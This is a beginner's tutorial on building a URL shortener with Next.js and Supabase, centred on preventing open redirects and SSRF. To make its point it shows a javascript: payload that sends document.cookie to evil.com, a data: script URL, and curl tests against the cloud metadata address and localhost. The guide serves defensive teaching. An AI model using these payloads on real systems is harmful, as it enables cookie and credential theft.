Small, finishable, and it teaches more than its size suggests — a database, dynamic routing, redirects, analytics, and one security bug that shows up in real products constantly.
An evening’s work. Start here if you’ve never built anything.
The Build
Next.js App Router, TypeScript, Tailwind, Supabase.
Create a
linkstable: id uuid, short_code text unique not null, destination text not null, user_id uuid nullable, click_count integer default 0, created_at timestamptz.A form at / that takes a long URL and returns a short one. A dynamic route /[code] that looks up the code and redirects with a 301. Generate codes with nanoid, 7 characters alphanumeric.
Validate the destination server-side: it must parse as a valid URL and use http or https only.
That last line is the one that matters. Get it in the first prompt.
The Bug: Open Redirect
Without validation, your shortener accepts anything:
javascript:fetch('https://evil.com?c='+document.cookie)
data:text/html,<script>...</script>
And more subtly, it becomes a phishing tool. An attacker shortens a link to a fake login page. The link they send says yourdomain.com/x7k2p9. Recipients trust your domain. You’re now the delivery mechanism for someone else’s phishing campaign — and your domain gets blacklisted for it.
The fix:
Validate destinations server-side. Parse with the URL constructor and reject anything that isn’t http or https. Reject localhost, 127.0.0.1, and private IP ranges (10.x, 172.16-31.x, 192.168.x) to prevent SSRF. Reject URLs pointing at my own shortener domain to prevent redirect loops.
The private IP check is the one nobody thinks of. Without it your shortener can be used to probe internal services from your server.
Redirects and Analytics
Two details that AI gets backwards.
Use 302, not 301. AI defaults to 301 permanent redirects, which browsers cache aggressively. Cache one and you can never change or disable that link — and you’ll stop seeing clicks because the browser stops asking you.
Use 302 temporary redirects, not 301, so links remain editable and clicks keep being counted.
Don’t block on the write.
// Slow — every click waits for the database
await recordClick(code)
return Response.redirect(destination, 302)
Record the click after issuing the redirect, not before. In serverless, use waitUntil so the function doesn’t terminate early. The user should never wait on analytics.
Click Tracking Worth Having
Create a
clickstable: id, link_id, clicked_at, referrer, country, device_type, user_agent. Record one row per click. Do not store full IP addresses — derive the country and discard the IP.
Not storing IPs keeps you clear of most privacy obligations and costs you nothing useful.
Add a stats page at /[code]/stats showing total clicks, clicks per day for 30 days, top referrers, and country breakdown. Aggregate in SQL, not JavaScript.
Rate Limiting
A public creation endpoint is an invitation.
Rate limit link creation: 10 per IP per hour for anonymous users, 100 per hour for authenticated. Return 429.
Without this, someone scripts thousands of spam links pointing wherever they like, from your domain.
Custom Codes
Let users request a custom short code. Validate: 3–20 characters, alphanumeric plus hyphens only. Check uniqueness. Maintain a reserved word list — api, admin, login, dashboard, stats, and any existing route — and reject those.
The reserved list prevents someone claiming /admin and shadowing your own routes.
Ownership
If links belong to accounts, the usual rule applies:
Users may only view, edit and delete their own links. Every query filters by authenticated user ID. Anonymous links have a null user_id and cannot be claimed later.
The Checklist
- Destinations validated: http/https only
-
javascript:anddata:rejected - Private IP ranges rejected (SSRF)
- Self-referencing URLs rejected (loops)
- 302 redirects, not 301
- Click recorded after the redirect
- Rate limiting on creation
- Reserved words blocked for custom codes
- Unique constraint on short_code, retry on collision
- Full IPs not stored
- Ownership filters on edit and delete
Try to Break It
curl -X POST localhost:3000/api/links -d '{"url":"javascript:alert(1)"}' # reject
curl -X POST localhost:3000/api/links -d '{"url":"http://169.254.169.254/"}' # reject
curl -X POST localhost:3000/api/links -d '{"url":"http://localhost:5432"}' # reject
curl -X POST localhost:3000/api/links -d '{"code":"admin","url":"https://x.com"}' # reject
That second one is a cloud metadata endpoint. On many hosts, an unvalidated redirect that reaches it can expose credentials.
Why This Project
It’s the smallest thing that’s genuinely complete — a real database, real routing, real analytics, and a real vulnerability with real consequences.
The open redirect is worth internalising because it generalises. Any time your app takes a URL from a user and does something with it, the same question applies: what if that URL points somewhere I didn’t expect?
Next: Vibe code a link-in-bio tool builds on the same foundation, or vibe code a CRUD app generalises the pattern.
Related reading: